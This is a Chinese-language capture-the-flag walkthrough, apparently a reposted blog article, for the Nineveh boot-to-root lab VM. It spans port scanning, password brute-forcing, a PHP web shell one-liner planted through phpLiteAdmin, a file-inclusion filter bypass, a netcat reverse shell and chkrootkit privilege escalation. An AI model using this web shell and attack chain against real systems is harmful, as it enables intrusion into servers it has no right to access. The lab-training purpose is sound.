14. CTF綜合靶機滲透(七)


靶機說明

NinevehV0.3.7z是一個難度為初級到中級的BooT2Root/CTF挑戰。

VM虛機配置有靜態IP地址(192.168.0.150)

目標

Boot to root:獲得root權限,查看flag。

運行環境

  • 靶機:靜態IP是192.168.0.150。
  • 攻擊機:同網段下有kali攻擊機(物理機),IP地址:192.168.0.128,安裝有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Python2.7、JDK、DirBuster、AWVS、Nessus等滲透工具,也可以使用windows攻擊機。

信息收集

  • 端口服務識別

啟動NinevehV0.3.7z虛擬機,由於IP已知,使用nmap掃描端口,並做服務識別和深度掃描(加-A參數),命令:

nmap -T4 -A -p 1-65535 192.168.0.150

發現只開放了80和443這2個端口,但是后面有一個ssl-cert 也就是ssl證書

比較敏感也就是443端口,

 

我們先訪問   http://192.168.0.150

 

HTTP協議傳輸的數據都是未加密的,也就是明文的,因此使用HTTP協議傳輸隱私信息非常不安全,為了保證這些隱私數據能加密傳輸,於是網景公司設計了SSL(Secure Sockets Layer)協議用於對HTTP協議傳輸的數據進行加密,從而就誕生了HTTPS。
簡單來說,HTTPS協議是由SSL+HTTP協議構建的可進行加密傳輸、身份認證的網絡協議,要比http協議安全。

我們再訪問   https://192.168.0.105

 

我們嘗試掃描目錄,大家在windows常用御劍,這里推薦kali下的dirb ,或者dirsearch.py腳本

dirsearch.py 具體腳本及其用法:http://www.freebuf.com/column/153277.html

我們先掃描  https://192.168.0.150

我們順帶掃描一波 http://192.168.0.150

 

綜上所述,我們發現https有個 /db/ 目錄,http 有個 /department/ 目錄

我們先訪問 /db/ 目錄看看:

發現是個登陸頁面,而且系統cms為  phpLiteAdmin v1.9  我們google hacker一把

發現存在遠程php代碼執行漏洞 :http://blog.51cto.com/penright/1116853

不過我們首先需要登陸進去,看來只有使用爆破了

我們用burpsuite抓包,加載字典,爆破

爆破得出密碼為  password123  ,如果爆破不出來,只能說明你的字典不夠強大

登陸進去后發現:

登陸成功后就按照爆出的漏洞payload開始嘗試破解

先創建一個數據庫 test.php

發現創建成功:

 

 在test.php為擴展名的數據庫中新建表a,並插入一句話代碼<? php echo system($_REQUEST['cmd']); ?>

 

 

一切准備就緒,我們還差一個能觸發的點,現在我們回頭看這個 http  下的   /department 目錄:

發現登陸框,我們先來一波弱口令,萬能密碼....發現失敗,但是看源代碼有了其他發現:

懷疑用戶名是admin

根據頁面回顯的不同,確定是admin ,就剩密碼的話。。。。爆破吧

爆破發現密碼是  1q2w3e4r5t  ,這密碼也是夠新奇的

登陸:

 

 我們分別點擊幾個欄目,當點到  notes  時


登錄在  http://192.168.0.150/department/manage.php?notes=files/ninevehNotes.txt  是一個簡單任意文件讀取,但是這里的讀取文件是被寫入白名單里的,就是它只能讀取結尾帶   ‘   ninevehNotes   ’   的文件,測試如圖:

 

 

這樣的話,我們在數據庫中插了一個馬,如果能被遠程文件包含利用,必須是  ninevehNotes  結尾的

這就需要我們修改數據庫名:

這樣的話,我們嘗試文件包含,來執行我們的linux命令:

解析下來我們選擇 nc監聽端口 來getshell

反向shell獲取參考 http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

將其轉換成交互式的shell,方便運行su。在終端中執行:
python -c 'import pty;pty.spawn('/bin/bash')'  

python2沒有spawn,我們使用python3

python3 -c 'import pty;pty.spawn("/bin/bash")'

我們需要設置tty 保證我們在nc shell 上與終端完全交互,以便使用所有功能(tab-complete,history,job control等):

參考:如何將簡單的Shell轉換成為完全交互式的TTY
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/3529.html

或者:
學習人家的方法,
用kali的msf來生成馬,進而進行反彈shell

 

但是這個權限還算不夠的,我們只能通過提權做進一步操作。大家肯定都直接想到臟牛提權了,但是本靶機沒有這個漏洞,本菜在進行磁盤查看的時候,發現一個叫“/report”的文件夾,通過查看里面的文件發現是一個rootkit檢測工具的實時報告文件,如圖

本菜使用比較笨的方法,就是把所知道的關於rookit的檢測工具都進行全盤搜索,最后定位到使用了“chkrootkit”,

 

通過查看其版本號和配置信息結合google搜索,發現一個本地提權漏洞,而MSF也已經有該利用腳本,如圖:

通過該漏洞最終拿下來root權限並得到flag:

 

本靶機還可以通過獲取ssh key 來提權,ssh key寫在一個名叫“nineveh.png”圖片內,如圖:

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM